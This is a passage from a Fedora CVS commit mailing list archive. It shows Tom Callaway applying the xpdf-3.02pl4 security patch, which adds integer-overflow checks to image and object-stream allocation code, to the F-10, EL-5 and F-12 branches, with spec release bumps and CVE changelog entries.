retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Oct 2009 20:41:34 -0000	1.2
+++ sources	16 Oct 2009 20:19:58 -0000	1.3
@@ -1 +1 @@
-3507a205a462c23af45def062b38e003  dumpet-1.1.tar.bz2
+1a93059322246f935d421a3db4a54742  dumpet-2.0.tar.bz2



From spot at fedoraproject.org  Fri Oct 16 20:46:11 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 16 Oct 2009 20:46:11 +0000 (UTC)
Subject: rpms/xpdf/F-10 xpdf-3.02pl4.patch,NONE,1.1 xpdf.spec,1.15,1.16
Message-ID: <20091016204611.B97D111C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/xpdf/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29746/F-10

Modified Files:
	xpdf.spec 
Added Files:
	xpdf-3.02pl4.patch 
Log Message:
3.02pl4

xpdf-3.02pl4.patch:
 splash/SplashBitmap.cc              |   35 +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 xpdf-3.02/splash/Splash.cc          |   13 +!!!!!!!!!!!!
 xpdf-3.02/splash/SplashErrorCodes.h |    2 ++
 xpdf/PSOutputDev.cc                 |    2 !!
 xpdf/Stream.cc                      |    4 ++++
 xpdf/XRef.cc                        |   18 +++++++++++++++++-
 6 files changed, 25 insertions(+), 1 deletion(-), 48 modifications(!)

--- NEW FILE xpdf-3.02pl4.patch ---
*** xpdf-3.02.orig/xpdf/Stream.cc	Fri Jul 24 14:30:46 2009
--- xpdf-3.02/xpdf/Stream.cc	Mon Oct  5 11:07:49 2009
***************
*** 323,328 ****
--- 323,332 ----
    } else {
      imgLineSize = nVals;
    }
+   if (width > INT_MAX / nComps) {
+     // force a call to gmallocn(-1,...), which will throw an exception
+     imgLineSize = -1;
+   }
    imgLine = (Guchar *)gmallocn(imgLineSize, sizeof(Guchar));
    imgIdx = nVals;
  }
*** xpdf-3.02.orig/xpdf/PSOutputDev.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/xpdf/PSOutputDev.cc	Fri Oct  2 12:38:58 2009
***************
*** 4301,4307 ****
  	     width, -height, height);
  
    // allocate a line buffer
!   lineBuf = (Guchar *)gmalloc(4 * width);
  
    // set up to process the data stream
    imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
--- 4301,4307 ----
  	     width, -height, height);
  
    // allocate a line buffer
!   lineBuf = (Guchar *)gmallocn(width, 4);
  
    // set up to process the data stream
    imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
diff -r -c xpdf-3.02.orig/splash/Splash.cc xpdf-3.02/splash/Splash.cc
*** xpdf-3.02.orig/splash/Splash.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/Splash.cc	Fri Aug 14 14:05:08 2009
***************
*** 12,17 ****
--- 12,18 ----
  
  #include <stdlib.h>
  #include <string.h>
+ #include <limits.h>
  #include "gmem.h"
  #include "SplashErrorCodes.h"
  #include "SplashMath.h"
***************
*** 1912,1918 ****
    xq = w % scaledWidth;
  
    // allocate pixel buffer
!   pixBuf = (SplashColorPtr)gmalloc((yp + 1) * w);
  
    // initialize the pixel pipe
    pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
--- 1913,1922 ----
    xq = w % scaledWidth;
  
    // allocate pixel buffer
!   if (yp < 0 || yp > INT_MAX - 1) {
!     return splashErrBadArg;
!   }
!   pixBuf = (SplashColorPtr)gmallocn(yp + 1, w);
  
    // initialize the pixel pipe
    pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
***************
*** 2208,2216 ****
    xq = w % scaledWidth;
  
    // allocate pixel buffers
!   colorBuf = (SplashColorPtr)gmalloc((yp + 1) * w * nComps);
    if (srcAlpha) {
!     alphaBuf = (Guchar *)gmalloc((yp + 1) * w);
    } else {
      alphaBuf = NULL;
    }
--- 2212,2223 ----
    xq = w % scaledWidth;
  
    // allocate pixel buffers
!   if (yp < 0 || yp > INT_MAX - 1 || w > INT_MAX / nComps) {
!     return splashErrBadArg;
!   }
!   colorBuf = (SplashColorPtr)gmallocn(yp + 1, w * nComps);
    if (srcAlpha) {
!     alphaBuf = (Guchar *)gmallocn(yp + 1, w);
    } else {
      alphaBuf = NULL;
    }
diff -r -c xpdf-3.02.orig/splash/SplashErrorCodes.h xpdf-3.02/splash/SplashErrorCodes.h
*** xpdf-3.02.orig/splash/SplashErrorCodes.h	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/SplashErrorCodes.h	Fri Aug 14 14:03:46 2009
***************
*** 29,32 ****
--- 29,34 ----
  
  #define splashErrSingularMatrix  8	// matrix is singular
  
+ #define splashErrBadArg          9	// bad argument
+ 
  #endif
*** xpdf-3.02.orig/splash/SplashBitmap.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/SplashBitmap.cc	Wed Aug 19 14:55:39 2009
***************
*** 11,16 ****
--- 11,17 ----
  #endif
  
  #include <stdio.h>
+ #include <limits.h>
  #include "gmem.h"
  #include "SplashErrorCodes.h"
  #include "SplashBitmap.h"
***************
*** 27,56 ****
    mode = modeA;
    switch (mode) {
    case splashModeMono1:
!     rowSize = (width + 7) >> 3;
      break;
    case splashModeMono8:
!     rowSize = width;
      break;
    case splashModeRGB8:
    case splashModeBGR8:
!     rowSize = width * 3;
      break;
  #if SPLASH_CMYK
    case splashModeCMYK8:
!     rowSize = width * 4;
      break;
  #endif
    }
!   rowSize += rowPad - 1;
!   rowSize -= rowSize % rowPad;
!   data = (SplashColorPtr)gmalloc(rowSize * height);
    if (!topDown) {
      data += (height - 1) * rowSize;
      rowSize = -rowSize;
    }
    if (alphaA) {
!     alpha = (Guchar *)gmalloc(width * height);
    } else {
      alpha = NULL;
    }
--- 28,75 ----
    mode = modeA;
    switch (mode) {
    case splashModeMono1:
!     if (width > 0) {
!       rowSize = (width + 7) >> 3;
!     } else {
!       rowSize = -1;
!     }
      break;
    case splashModeMono8:
!     if (width > 0) {
!       rowSize = width;
!     } else {
!       rowSize = -1;
!     }
      break;
    case splashModeRGB8:
    case splashModeBGR8:
!     if (width > 0 && width <= INT_MAX / 3) {
!       rowSize = width * 3;
!     } else {
!       rowSize = -1;
!     }
      break;
  #if SPLASH_CMYK
    case splashModeCMYK8:
!     if (width > 0 && width <= INT_MAX / 4) {
!       rowSize = width * 4;
!     } else {
!       rowSize = -1;
!     }
      break;
  #endif
    }
!   if (rowSize > 0) {
!     rowSize += rowPad - 1;
!     rowSize -= rowSize % rowPad;
!   }
!   data = (SplashColorPtr)gmallocn(height, rowSize);
    if (!topDown) {
      data += (height - 1) * rowSize;
      rowSize = -rowSize;
    }
    if (alphaA) {
!     alpha = (Guchar *)gmallocn(width, height);
    } else {
      alpha = NULL;
    }
*** xpdf-3.02.orig/xpdf/XRef.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/xpdf/XRef.cc	Tue Oct 13 11:57:24 2009
***************
*** 52,57 ****
--- 52,59 ----
    // generation 0.
    ObjectStream(XRef *xref, int objStrNumA);
  
+   GBool isOk() { return ok; }
+ 
    ~ObjectStream();
  
    // Return the object number of this object stream.
***************
*** 67,72 ****
--- 69,75 ----
    int nObjects;			// number of objects in the stream
    Object *objs;			// the objects (length = nObjects)
    int *objNums;			// the object numbers (length = nObjects)
+   GBool ok;
  };
  
  ObjectStream::ObjectStream(XRef *xref, int objStrNumA) {
***************
*** 80,85 ****
--- 83,89 ----
    nObjects = 0;
    objs = NULL;
    objNums = NULL;
+   ok = gFalse;
  
    if (!xref->fetch(objStrNum, 0, &objStr)->isStream()) {
      goto err1;
***************
*** 105,110 ****
--- 109,121 ----
      goto err1;
    }
  
+   // this is an arbitrary limit to avoid integer overflow problems
+   // in the 'new Object[nObjects]' call (Acrobat apparently limits
+   // object streams to 100-200 objects)
+   if (nObjects > 1000000) {
+     error(-1, "Too many objects in an object stream");
+     goto err1;
+   }
    objs = new Object[nObjects];
    objNums = (int *)gmallocn(nObjects, sizeof(int));
    offsets = (int *)gmallocn(nObjects, sizeof(int));
***************
*** 161,170 ****
    }
  
    gfree(offsets);
  
   err1:
    objStr.free();
-   return;
  }
  
  ObjectStream::~ObjectStream() {
--- 172,181 ----
    }
  
    gfree(offsets);
+   ok = gTrue;
  
   err1:
    objStr.free();
  }
  
  ObjectStream::~ObjectStream() {
***************
*** 837,842 ****
--- 848,858 ----
  	delete objStr;
        }
        objStr = new ObjectStream(this, e->offset);
+       if (!objStr->isOk()) {
+ 	delete objStr;
+ 	objStr = NULL;
+ 	goto err;
+       }
      }
      objStr->getObject(e->gen, num, obj);
      break;


Index: xpdf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xpdf/F-10/xpdf.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- xpdf.spec	16 Apr 2009 21:08:10 -0000	1.15
+++ xpdf.spec	16 Oct 2009 20:46:11 -0000	1.16
@@ -1,7 +1,7 @@
 Summary: A PDF file viewer for the X Window System
 Name: xpdf
 Version: 3.02
-Release: 13%{?dist}
+Release: 15%{?dist}
 License: GPLv2
 Epoch: 1
 Url: http://www.foolabs.com/xpdf/
@@ -52,6 +52,7 @@ Patch20: xpdf-3.02-mousebuttons_view.pat
 Patch100: xpdf-3.02pl1.patch
 Patch101: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl2.patch
 Patch102: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl3.patch
+Patch103: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl4.patch
 
 # Debian patches
 Patch200: 02_permissions.dpatch
@@ -117,6 +118,7 @@ standard X fonts.
 %patch100 -p1 -b .security
 %patch101 -p1 -b .security2
 %patch102 -p1 -b .security3
+%patch103 -p1 -b .security4
 
 # debian patches
 %patch200 -p1 -b .permissions
@@ -271,6 +273,14 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/xpdf/latin2
 
 %changelog
+* Fri Oct 16 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1:3.02-15
+- apply xpdf-3.02pl4 security patch to fix:
+  CVE-2009-3603, CVE-2009-3604, CVE-2009-3605, CVE-2009-3606
+  CVE-2009-3608, CVE-2009-3609
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:3.02-14
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Apr 16 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1:3.02-13
 - apply xpdf-3.02pl3 security patch to fix:
   CVE-2009-0799, CVE-2009-0800, CVE-2009-1179, CVE-2009-1180



From spot at fedoraproject.org  Fri Oct 16 20:46:11 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 16 Oct 2009 20:46:11 +0000 (UTC)
Subject: rpms/xpdf/EL-5 xpdf-3.02pl4.patch,NONE,1.1 xpdf.spec,1.9,1.10
Message-ID: <20091016204611.6D6CE11C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/xpdf/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29746/EL-5

Modified Files:
	xpdf.spec 
Added Files:
	xpdf-3.02pl4.patch 
Log Message:
3.02pl4

xpdf-3.02pl4.patch:
 splash/SplashBitmap.cc              |   35 +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 xpdf-3.02/splash/Splash.cc          |   13 +!!!!!!!!!!!!
 xpdf-3.02/splash/SplashErrorCodes.h |    2 ++
 xpdf/PSOutputDev.cc                 |    2 !!
 xpdf/Stream.cc                      |    4 ++++
 xpdf/XRef.cc                        |   18 +++++++++++++++++-
 6 files changed, 25 insertions(+), 1 deletion(-), 48 modifications(!)

--- NEW FILE xpdf-3.02pl4.patch ---
*** xpdf-3.02.orig/xpdf/Stream.cc	Fri Jul 24 14:30:46 2009
--- xpdf-3.02/xpdf/Stream.cc	Mon Oct  5 11:07:49 2009
***************
*** 323,328 ****
--- 323,332 ----
    } else {
      imgLineSize = nVals;
    }
+   if (width > INT_MAX / nComps) {
+     // force a call to gmallocn(-1,...), which will throw an exception
+     imgLineSize = -1;
+   }
    imgLine = (Guchar *)gmallocn(imgLineSize, sizeof(Guchar));
    imgIdx = nVals;
  }
*** xpdf-3.02.orig/xpdf/PSOutputDev.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/xpdf/PSOutputDev.cc	Fri Oct  2 12:38:58 2009
***************
*** 4301,4307 ****
  	     width, -height, height);
  
    // allocate a line buffer
!   lineBuf = (Guchar *)gmalloc(4 * width);
  
    // set up to process the data stream
    imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
--- 4301,4307 ----
  	     width, -height, height);
  
    // allocate a line buffer
!   lineBuf = (Guchar *)gmallocn(width, 4);
  
    // set up to process the data stream
    imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
diff -r -c xpdf-3.02.orig/splash/Splash.cc xpdf-3.02/splash/Splash.cc
*** xpdf-3.02.orig/splash/Splash.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/Splash.cc	Fri Aug 14 14:05:08 2009
***************
*** 12,17 ****
--- 12,18 ----
  
  #include <stdlib.h>
  #include <string.h>
+ #include <limits.h>
  #include "gmem.h"
  #include "SplashErrorCodes.h"
  #include "SplashMath.h"
***************
*** 1912,1918 ****
    xq = w % scaledWidth;
  
    // allocate pixel buffer
!   pixBuf = (SplashColorPtr)gmalloc((yp + 1) * w);
  
    // initialize the pixel pipe
    pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
--- 1913,1922 ----
    xq = w % scaledWidth;
  
    // allocate pixel buffer
!   if (yp < 0 || yp > INT_MAX - 1) {
!     return splashErrBadArg;
!   }
!   pixBuf = (SplashColorPtr)gmallocn(yp + 1, w);
  
    // initialize the pixel pipe
    pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
***************
*** 2208,2216 ****
    xq = w % scaledWidth;
  
    // allocate pixel buffers
!   colorBuf = (SplashColorPtr)gmalloc((yp + 1) * w * nComps);
    if (srcAlpha) {
!     alphaBuf = (Guchar *)gmalloc((yp + 1) * w);
    } else {
      alphaBuf = NULL;
    }
--- 2212,2223 ----
    xq = w % scaledWidth;
  
    // allocate pixel buffers
!   if (yp < 0 || yp > INT_MAX - 1 || w > INT_MAX / nComps) {
!     return splashErrBadArg;
!   }
!   colorBuf = (SplashColorPtr)gmallocn(yp + 1, w * nComps);
    if (srcAlpha) {
!     alphaBuf = (Guchar *)gmallocn(yp + 1, w);
    } else {
      alphaBuf = NULL;
    }
diff -r -c xpdf-3.02.orig/splash/SplashErrorCodes.h xpdf-3.02/splash/SplashErrorCodes.h
*** xpdf-3.02.orig/splash/SplashErrorCodes.h	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/SplashErrorCodes.h	Fri Aug 14 14:03:46 2009
***************
*** 29,32 ****
--- 29,34 ----
  
  #define splashErrSingularMatrix  8	// matrix is singular
  
+ #define splashErrBadArg          9	// bad argument
+ 
  #endif
*** xpdf-3.02.orig/splash/SplashBitmap.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/SplashBitmap.cc	Wed Aug 19 14:55:39 2009
***************
*** 11,16 ****
--- 11,17 ----
  #endif
  
  #include <stdio.h>
+ #include <limits.h>
  #include "gmem.h"
  #include "SplashErrorCodes.h"
  #include "SplashBitmap.h"
***************
*** 27,56 ****
    mode = modeA;
    switch (mode) {
    case splashModeMono1:
!     rowSize = (width + 7) >> 3;
      break;
    case splashModeMono8:
!     rowSize = width;
      break;
    case splashModeRGB8:
    case splashModeBGR8:
!     rowSize = width * 3;
      break;
  #if SPLASH_CMYK
    case splashModeCMYK8:
!     rowSize = width * 4;
      break;
  #endif
    }
!   rowSize += rowPad - 1;
!   rowSize -= rowSize % rowPad;
!   data = (SplashColorPtr)gmalloc(rowSize * height);
    if (!topDown) {
      data += (height - 1) * rowSize;
      rowSize = -rowSize;
    }
    if (alphaA) {
!     alpha = (Guchar *)gmalloc(width * height);
    } else {
      alpha = NULL;
    }
--- 28,75 ----
    mode = modeA;
    switch (mode) {
    case splashModeMono1:
!     if (width > 0) {
!       rowSize = (width + 7) >> 3;
!     } else {
!       rowSize = -1;
!     }
      break;
    case splashModeMono8:
!     if (width > 0) {
!       rowSize = width;
!     } else {
!       rowSize = -1;
!     }
      break;
    case splashModeRGB8:
    case splashModeBGR8:
!     if (width > 0 && width <= INT_MAX / 3) {
!       rowSize = width * 3;
!     } else {
!       rowSize = -1;
!     }
      break;
  #if SPLASH_CMYK
    case splashModeCMYK8:
!     if (width > 0 && width <= INT_MAX / 4) {
!       rowSize = width * 4;
!     } else {
!       rowSize = -1;
!     }
      break;
  #endif
    }
!   if (rowSize > 0) {
!     rowSize += rowPad - 1;
!     rowSize -= rowSize % rowPad;
!   }
!   data = (SplashColorPtr)gmallocn(height, rowSize);
    if (!topDown) {
      data += (height - 1) * rowSize;
      rowSize = -rowSize;
    }
    if (alphaA) {
!     alpha = (Guchar *)gmallocn(width, height);
    } else {
      alpha = NULL;
    }
*** xpdf-3.02.orig/xpdf/XRef.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/xpdf/XRef.cc	Tue Oct 13 11:57:24 2009
***************
*** 52,57 ****
--- 52,59 ----
    // generation 0.
    ObjectStream(XRef *xref, int objStrNumA);
  
+   GBool isOk() { return ok; }
+ 
    ~ObjectStream();
  
    // Return the object number of this object stream.
***************
*** 67,72 ****
--- 69,75 ----
    int nObjects;			// number of objects in the stream
    Object *objs;			// the objects (length = nObjects)
    int *objNums;			// the object numbers (length = nObjects)
+   GBool ok;
  };
  
  ObjectStream::ObjectStream(XRef *xref, int objStrNumA) {
***************
*** 80,85 ****
--- 83,89 ----
    nObjects = 0;
    objs = NULL;
    objNums = NULL;
+   ok = gFalse;
  
    if (!xref->fetch(objStrNum, 0, &objStr)->isStream()) {
      goto err1;
***************
*** 105,110 ****
--- 109,121 ----
      goto err1;
    }
  
+   // this is an arbitrary limit to avoid integer overflow problems
+   // in the 'new Object[nObjects]' call (Acrobat apparently limits
+   // object streams to 100-200 objects)
+   if (nObjects > 1000000) {
+     error(-1, "Too many objects in an object stream");
+     goto err1;
+   }
    objs = new Object[nObjects];
    objNums = (int *)gmallocn(nObjects, sizeof(int));
    offsets = (int *)gmallocn(nObjects, sizeof(int));
***************
*** 161,170 ****
    }
  
    gfree(offsets);
  
   err1:
    objStr.free();
-   return;
  }
  
  ObjectStream::~ObjectStream() {
--- 172,181 ----
    }
  
    gfree(offsets);
+   ok = gTrue;
  
   err1:
    objStr.free();
  }
  
  ObjectStream::~ObjectStream() {
***************
*** 837,842 ****
--- 848,858 ----
  	delete objStr;
        }
        objStr = new ObjectStream(this, e->offset);
+       if (!objStr->isOk()) {
+ 	delete objStr;
+ 	objStr = NULL;
+ 	goto err;
+       }
      }
      objStr->getObject(e->gen, num, obj);
      break;


Index: xpdf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xpdf/EL-5/xpdf.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- xpdf.spec	5 May 2009 13:35:26 -0000	1.9
+++ xpdf.spec	16 Oct 2009 20:46:11 -0000	1.10
@@ -1,7 +1,7 @@
 Summary: A PDF file viewer for the X Window System
 Name: xpdf
 Version: 3.02
-Release: 13%{?dist}
+Release: 15%{?dist}
 License: GPLv2
 Epoch: 1
 Url: http://www.foolabs.com/xpdf/
@@ -52,6 +52,7 @@ Patch20: xpdf-3.02-mousebuttons_view.pat
 Patch100: xpdf-3.02pl1.patch
 Patch101: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl2.patch
 Patch102: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl3.patch
+Patch103: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.02pl4.patch
 
 # Debian patches
 Patch200: 02_permissions.dpatch
@@ -119,6 +120,7 @@ standard X fonts.
 %patch100 -p1 -b .security
 %patch101 -p1 -b .security2
 %patch102 -p1 -b .security3
+%patch103 -p1 -b .security4
 
 # debian patches
 %patch200 -p1 -b .permissions
@@ -273,6 +275,11 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/xpdf/latin2
 
 %changelog
+* Fri Oct 16 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1:3.02-15
+- apply xpdf-3.02pl4 security patch to fix:
+  CVE-2009-3603, CVE-2009-3604, CVE-2009-3605, CVE-2009-3606
+  CVE-2009-3608, CVE-2009-3609
+
 * Tue May  5 2009 Tom "spot" Callaway <tcallawa at redhat.com> 1:3.02-13
 - apply xpdf-3.02pl3 security patch to fix:
   CVE-2009-0799, CVE-2009-0800, CVE-2009-1179, CVE-2009-1180



From spot at fedoraproject.org  Fri Oct 16 20:46:12 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Fri, 16 Oct 2009 20:46:12 +0000 (UTC)
Subject: rpms/xpdf/F-12 xpdf-3.02pl4.patch,NONE,1.1 xpdf.spec,1.17,1.18
Message-ID: <20091016204612.4016411C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/xpdf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29746/F-12

Modified Files:
	xpdf.spec 
Added Files:
	xpdf-3.02pl4.patch 
Log Message:
3.02pl4

xpdf-3.02pl4.patch:
 splash/SplashBitmap.cc              |   35 +!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 xpdf-3.02/splash/Splash.cc          |   13 +!!!!!!!!!!!!
 xpdf-3.02/splash/SplashErrorCodes.h |    2 ++
 xpdf/PSOutputDev.cc                 |    2 !!
 xpdf/Stream.cc                      |    4 ++++
 xpdf/XRef.cc                        |   18 +++++++++++++++++-
 6 files changed, 25 insertions(+), 1 deletion(-), 48 modifications(!)

--- NEW FILE xpdf-3.02pl4.patch ---
*** xpdf-3.02.orig/xpdf/Stream.cc	Fri Jul 24 14:30:46 2009
--- xpdf-3.02/xpdf/Stream.cc	Mon Oct  5 11:07:49 2009
***************
*** 323,328 ****
--- 323,332 ----
    } else {
      imgLineSize = nVals;
    }
+   if (width > INT_MAX / nComps) {
+     // force a call to gmallocn(-1,...), which will throw an exception
+     imgLineSize = -1;
+   }
    imgLine = (Guchar *)gmallocn(imgLineSize, sizeof(Guchar));
    imgIdx = nVals;
  }
*** xpdf-3.02.orig/xpdf/PSOutputDev.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/xpdf/PSOutputDev.cc	Fri Oct  2 12:38:58 2009
***************
*** 4301,4307 ****
  	     width, -height, height);
  
    // allocate a line buffer
!   lineBuf = (Guchar *)gmalloc(4 * width);
  
    // set up to process the data stream
    imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
--- 4301,4307 ----
  	     width, -height, height);
  
    // allocate a line buffer
!   lineBuf = (Guchar *)gmallocn(width, 4);
  
    // set up to process the data stream
    imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
diff -r -c xpdf-3.02.orig/splash/Splash.cc xpdf-3.02/splash/Splash.cc
*** xpdf-3.02.orig/splash/Splash.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/Splash.cc	Fri Aug 14 14:05:08 2009
***************
*** 12,17 ****
--- 12,18 ----
  
  #include <stdlib.h>
  #include <string.h>
+ #include <limits.h>
  #include "gmem.h"
  #include "SplashErrorCodes.h"
  #include "SplashMath.h"
***************
*** 1912,1918 ****
    xq = w % scaledWidth;
  
    // allocate pixel buffer
!   pixBuf = (SplashColorPtr)gmalloc((yp + 1) * w);
  
    // initialize the pixel pipe
    pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
--- 1913,1922 ----
    xq = w % scaledWidth;
  
    // allocate pixel buffer
!   if (yp < 0 || yp > INT_MAX - 1) {
!     return splashErrBadArg;
!   }
!   pixBuf = (SplashColorPtr)gmallocn(yp + 1, w);
  
    // initialize the pixel pipe
    pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
***************
*** 2208,2216 ****
    xq = w % scaledWidth;
  
    // allocate pixel buffers
!   colorBuf = (SplashColorPtr)gmalloc((yp + 1) * w * nComps);
    if (srcAlpha) {
!     alphaBuf = (Guchar *)gmalloc((yp + 1) * w);
    } else {
      alphaBuf = NULL;
    }
--- 2212,2223 ----
    xq = w % scaledWidth;
  
    // allocate pixel buffers
!   if (yp < 0 || yp > INT_MAX - 1 || w > INT_MAX / nComps) {
!     return splashErrBadArg;
!   }
!   colorBuf = (SplashColorPtr)gmallocn(yp + 1, w * nComps);
    if (srcAlpha) {
!     alphaBuf = (Guchar *)gmallocn(yp + 1, w);
    } else {
      alphaBuf = NULL;
    }
diff -r -c xpdf-3.02.orig/splash/SplashErrorCodes.h xpdf-3.02/splash/SplashErrorCodes.h
*** xpdf-3.02.orig/splash/SplashErrorCodes.h	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/SplashErrorCodes.h	Fri Aug 14 14:03:46 2009
***************
*** 29,32 ****
--- 29,34 ----
  
  #define splashErrSingularMatrix  8	// matrix is singular
  
+ #define splashErrBadArg          9	// bad argument
+ 
  #endif
*** xpdf-3.02.orig/splash/SplashBitmap.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/splash/SplashBitmap.cc	Wed Aug 19 14:55:39 2009
***************
*** 11,16 ****
--- 11,17 ----
  #endif
  
  #include <stdio.h>
+ #include <limits.h>
  #include "gmem.h"
  #include "SplashErrorCodes.h"
  #include "SplashBitmap.h"
***************
*** 27,56 ****
    mode = modeA;
    switch (mode) {
    case splashModeMono1:
!     rowSize = (width + 7) >> 3;
      break;
    case splashModeMono8:
!     rowSize = width;
      break;
    case splashModeRGB8:
    case splashModeBGR8:
!     rowSize = width * 3;
      break;
  #if SPLASH_CMYK
    case splashModeCMYK8:
!     rowSize = width * 4;
      break;
  #endif
    }
!   rowSize += rowPad - 1;
!   rowSize -= rowSize % rowPad;
!   data = (SplashColorPtr)gmalloc(rowSize * height);
    if (!topDown) {
      data += (height - 1) * rowSize;
      rowSize = -rowSize;
    }
    if (alphaA) {
!     alpha = (Guchar *)gmalloc(width * height);
    } else {
      alpha = NULL;
    }
--- 28,75 ----
    mode = modeA;
    switch (mode) {
    case splashModeMono1:
!     if (width > 0) {
!       rowSize = (width + 7) >> 3;
!     } else {
!       rowSize = -1;
!     }
      break;
    case splashModeMono8:
!     if (width > 0) {
!       rowSize = width;
!     } else {
!       rowSize = -1;
!     }
      break;
    case splashModeRGB8:
    case splashModeBGR8:
!     if (width > 0 && width <= INT_MAX / 3) {
!       rowSize = width * 3;
!     } else {
!       rowSize = -1;
!     }
      break;
  #if SPLASH_CMYK
    case splashModeCMYK8:
!     if (width > 0 && width <= INT_MAX / 4) {
!       rowSize = width * 4;
!     } else {
!       rowSize = -1;
!     }
      break;
  #endif
    }
!   if (rowSize > 0) {
!     rowSize += rowPad - 1;
!     rowSize -= rowSize % rowPad;
!   }
!   data = (SplashColorPtr)gmallocn(height, rowSize);
    if (!topDown) {
      data += (height - 1) * rowSize;
      rowSize = -rowSize;
    }
    if (alphaA) {
!     alpha = (Guchar *)gmallocn(width, height);
    } else {
      alpha = NULL;
    }
*** xpdf-3.02.orig/xpdf/XRef.cc	Tue Feb 27 14:05:52 2007
--- xpdf-3.02/xpdf/XRef.cc	Tue Oct 13 11:57:24 2009
***************
*** 52,57 ****
--- 52,59 ----
    // generation 0.
    ObjectStream(XRef *xref, int objStrNumA);
  
+   GBool isOk() { return ok; }
+ 
    ~ObjectStream();
  
    // Return the object number of this object stream.
***************
*** 67,72 ****
--- 69,75 ----
    int nObjects;			// number of objects in the stream
    Object *objs;			// the objects (length = nObjects)
    int *objNums;			// the object numbers (length = nObjects)
+   GBool ok;
  };
  
  ObjectStream::ObjectStream(XRef *xref, int objStrNumA) {
***************
*** 80,85 ****
--- 83,89 ----
    nObjects = 0;
    objs = NULL;
    objNums = NULL;
+   ok = gFalse;
  
    if (!xref->fetch(objStrNum, 0, &objStr)->isStream()) {
      goto err1;
***************
*** 105,110 ****
--- 109,121 ----
      goto err1;
    }
  
+   // this is an arbitrary limit to avoid integer overflow problems
+   // in the 'new Object[nObjects]' call (Acrobat apparently limits
+   // object streams to 100-200 objects)
+   if (nObjects > 1000000) {
+     error(-1, "Too many objects in an object stream");
+     goto err1;
+   }
    objs = new Object[nObjects];
    objNums = (int *)gmallocn(nObjects, sizeof(int));
    offsets = (int *)gmallocn(nObjects, sizeof(int));
***************
*** 161,170 ****
    }
  
    gfree(offsets);
  
   err1:
    objStr.free();
-   return;
  }
  
  ObjectStream::~ObjectStream() {
--- 172,181 ----
    }
  
    gfree(offsets);
+   ok = gTrue;
  
   err1:
    objStr.free();
  }
  
  ObjectStream::~ObjectStream() {
***************
*** 837,842 ****
--- 848,858 ----
  	delete objStr;
        }
        objStr = new ObjectStream(this, e->offset);
+       if (!objStr->isOk()) {
+ 	delete objStr;
+ 	objStr = NULL;
+ 	goto err;
+       }
      }
      objStr->getObject(e->gen, num, obj);
      break;


Index: xpdf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xpdf/F-12/xpdf.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- xpdf.spec	27 Jul 2009 08:41:29 -0000	1.17
+++ xpdf.spec	16 Oct 2009 20:46:12 -0000	1.18
@@ -1,7 +1,7 @@
 Summary: A PDF file viewer for the X Window System
 Name: xpdf
 Version: 3.02
-Release: 14%{?dist}
+Release: 15%{?dist}
